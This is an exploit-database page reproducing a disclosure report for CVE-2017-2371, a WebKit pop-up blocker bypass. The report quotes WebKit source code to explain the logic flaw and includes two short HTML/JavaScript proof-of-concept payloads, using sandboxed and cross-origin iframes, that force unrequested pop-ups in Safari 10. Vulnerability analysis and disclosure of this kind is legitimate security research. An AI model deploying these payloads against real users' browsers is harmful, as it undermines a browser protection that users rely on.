0day.today - Biggest Exploit Database in the World.
Things you should know about 0day.today:
Administration of this site uses the official contacts. Beware of impostors!
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!
Please, beware of scammers!
Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Apple WebKit Pop-Up Blocker Bypass Exploit
Author
Risk
[
Security Risk High
]0day-ID
Category
Date add
CVE
Platform
Apple WebKit: Bypass pop-up blocker via cross-origin or sandboxed iframe. CVE-2017-2371 The second argument of window.open is a name for the new window. If there's a frame that has same name, it will try to load the URL in that. If not, it just tries to create a new window and pop-up. But without the user's click event, its attempt will fail. Here's some snippets. RefPtr<DOMWindow> DOMWindow::open(const String& urlString, const AtomicString& frameName, const String& windowFeaturesString, DOMWindow& activeWindow, DOMWindow& firstWindow) { ... ---------------- (1) ----------------------- if (!firstWindow.allowPopUp()) { <<---- checks there's the user's click event. // Because FrameTree::find() returns true for empty strings, we must check for empty frame names. // Otherwise, illegitimate window.open() calls with no name will pass right through the popup blocker. if (frameName.isEmpty() || !m_frame->tree().find(frameName)) return nullptr; } -------------------------------------------- ... RefPtr<Frame> result = createWindow(urlString, frameName, parseWindowFeatures(windowFeaturesString), activeWindow, *firstFrame, *m_frame); return result ? result->document()->domWindow() : nullptr; } RefPtr<Frame> DOMWindow::createWindow(const String& urlString, const AtomicString& frameName, const WindowFeatures& windowFeatures, DOMWindow& activeWindow, Frame& firstFrame, Frame& openerFrame, std::function<void (DOMWindow&)> prepareDialogFunction) { ... RefPtr<Frame> newFrame = WebCore::createWindow(*activeFrame, openerFrame, frameRequest, windowFeatures, created); if (!newFrame) return nullptr; ... } RefPtr<Frame> createWindow(Frame& openerFrame, Frame& lookupFrame, const FrameLoadRequest& request, const WindowFeatures& features, bool& created) { ASSERT(!features.dialog || request.frameName().isEmpty()); created = false; ---------------- (2) ----------------------- if (!request.frameName().isEmpty() && request.frameName() != "_blank") { if (RefPtr<Frame> frame = lookupFrame.loader().findFrameForNavigation(request.frameName(), openerFrame.document())) { if (request.frameName() != "_self") { if (Page* page = frame->page()) page->chrome().focus(); } return frame; } } -------------------------------------------- <<<<<----------- failed to find the frame, creates a new one. ... } The logic of the code (1) depends on the assumption that if |m_frame->tree().find(frameName)| succeeds, |lookupFrame.loader().findFrameForNavigation| at (2) will also succeed. If we could make |m_frame->tree().find(frameName)| succeed but |lookupFrame.loader().findFrameForNavigation| fail, a new window will be created and popped up without the user's click event. Let's look into |findFrameForNavigation|. Frame* FrameLoader::findFrameForNavigation(const AtomicString& name, Document* activeDocument) { Frame* frame = m_frame.tree().find(name); // FIXME: Eventually all callers should supply the actual activeDocument so we can call canNavigate with the right document. if (!activeDocument) activeDocument = m_frame.document(); if (!activeDocument->canNavigate(frame)) return nullptr; return frame; } bool Document::canNavigate(Frame* targetFrame) { ... if (isSandboxed(SandboxNavigation)) { <<<--------------- (1) if (targetFrame->tree().isDescendantOf(m_frame)) return true; const char* reason = "The frame attempting navigation is sandboxed, and is therefore disallowed from navigating its ancestors."; if (isSandboxed(SandboxTopNavigation) && targetFrame == &m_frame->tree().top()) reason = "The frame attempting navigation of the top-level window is sandboxed, but the 'allow-top-navigation' flag is not set."; printNavigationErrorMessage(targetFrame, url(), reason); return false; } ... if (canAccessAncestor(securityOrigin(), targetFrame)) <<<------------------- (2) return true; ... return false; } There are two points to make |Document::canNavigate| return false. (1). Using a sandboxed iframe. <body> <iframe name="one"></iframe> <iframe id="two" sandbox="allow-scripts allow-same-origin allow-popups"></iframe> <script> function main() { two.eval('open("<a href="https://abc.xyz" title="" class="" rel="nofollow">https://abc.xyz</a>", "one");'); } main() </script> </body> (2). Using a cross-origin iframe. <body> <iframe name="one"></iframe> <script> function main() { document.body.appendChild(document.createElement("iframe")).contentDocument.location = "data:text/html,<script>open('<a href="https://abc.xyz" title="" class="" rel="nofollow">https://abc.xyz</a>', 'one')</scri" + "pt>"; } main() </script> </body> Tested on Safari 10.0.2 (12602.3.12.0.1). This bug is subject to a 90 day disclosure deadline. If 90 days elapse without a broadly available patch, then the bug report will automatically become visible to the public. Found by: lokihardt # 0day.today [2024-11-14] #